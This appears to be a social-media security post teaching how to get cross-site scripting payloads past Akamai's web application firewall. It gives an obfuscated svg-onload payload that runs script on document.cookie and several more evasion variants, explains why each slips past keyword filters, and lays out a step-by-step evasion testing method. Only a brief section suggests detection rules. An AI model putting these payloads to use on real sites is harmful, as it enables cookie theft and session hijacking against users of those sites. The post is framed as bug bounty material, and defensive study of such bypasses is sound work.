Bypassing an Akamai WAF involves techniques like obfuscation, leveraging inconsistent data interpretation, and exploiting specific application logic flaws (e.g., parameter pollution or CRLF injection). There is no single "universal" payload; successful bypasses are specific to the target application's configuration and context.

🔥 The Bypass Payload

<!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>

🛠 How This Bypass Works

1. HTML Comment Evasion

<!-->
  • Starts with an HTML comment tag
  • Akamai may treat this as comment content
  • Browsers still parse and execute what follows

2. Obfuscated JavaScript Execution

top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)

Decoded:

top[/al/.source+/ert/.source](document.cookie)

Final Execution:

top["alert"](document.cookie)

3. String Construction Breakdow

  • /al/.source → "al"
  • /ert/.source → "ert"
  • "al" + "ert" → "alert"
  • top["alert"] → top.alert

💡 Why This Bypasses Akamai WAF

▫️ Keyword Splitting: - alert is split into al + ert - WAF regex might look for alert as whole word - Split strings bypass keyword detection

▫️ RegExp Source Property: - .source returns RegExp pattern as string - Creates strings without quotes - Avoids string literal detection

▫️ Top-Level Context: - top["alert"] instead of window.alert or just alert - Different pattern than common WAF rules

⚡ Advanced Variations

Alternative String Construction

<!--><svg onload=top[/al/.source+/ert/.source](/XSS/.source)>
<!--><svg onload=top[868..toString(36)](1337)>
<!--><svg onload=self[al+ert](1)>

HTML Tag Obfuscation

<svg><script>/*comment*/top.aler\u0074(1)</script>
<svg><script>top[868..toString(36)](1337)</script>
<svg><script>self[al+ert](document.domain)</script>

🛡 How Akamai Could Block This

Detection Improvements

  1. Context-aware HTML parsing
  2. JavaScript deobfuscation
  3. Behavior-based detection
  4. Detection of .source abuse

Sample WAF Rules

/(?:<!\-\-.*?>|\.source\s*\+\s*\.source)/i
/(?:top|self|window)\[.*?\]\(.*?\)/i

🎯 Testing Methodology

  1. Start Simple: Test basic alert(1) payload
  2. Add Obfuscation: If blocked, try comment prefixes
  3. Split Keywords: Break alert into parts
  4. Alternative Context: Try top, self, parent
  5. String Construction: Use .source, toString(), template literals

💰 Bug Bounty Impact

  • High Severity: Cookie theft, session hijacking
  • Common in Enterprises: Akamai is widely used
  • Good Rewards: WAF bypasses often get high bounties
  • Chain Potential: Combine with other vulnerabilities

🔔 Follow @cybersecplayground for more WAF bypass techniques!

#XSS #WAFBypass #Akamai #WebSecurity #BugBounty #CyberSecurity #PenTesting

⚠️ Pro Tip: Always test multiple variations — what works on one site might not work on another with different WAF rules!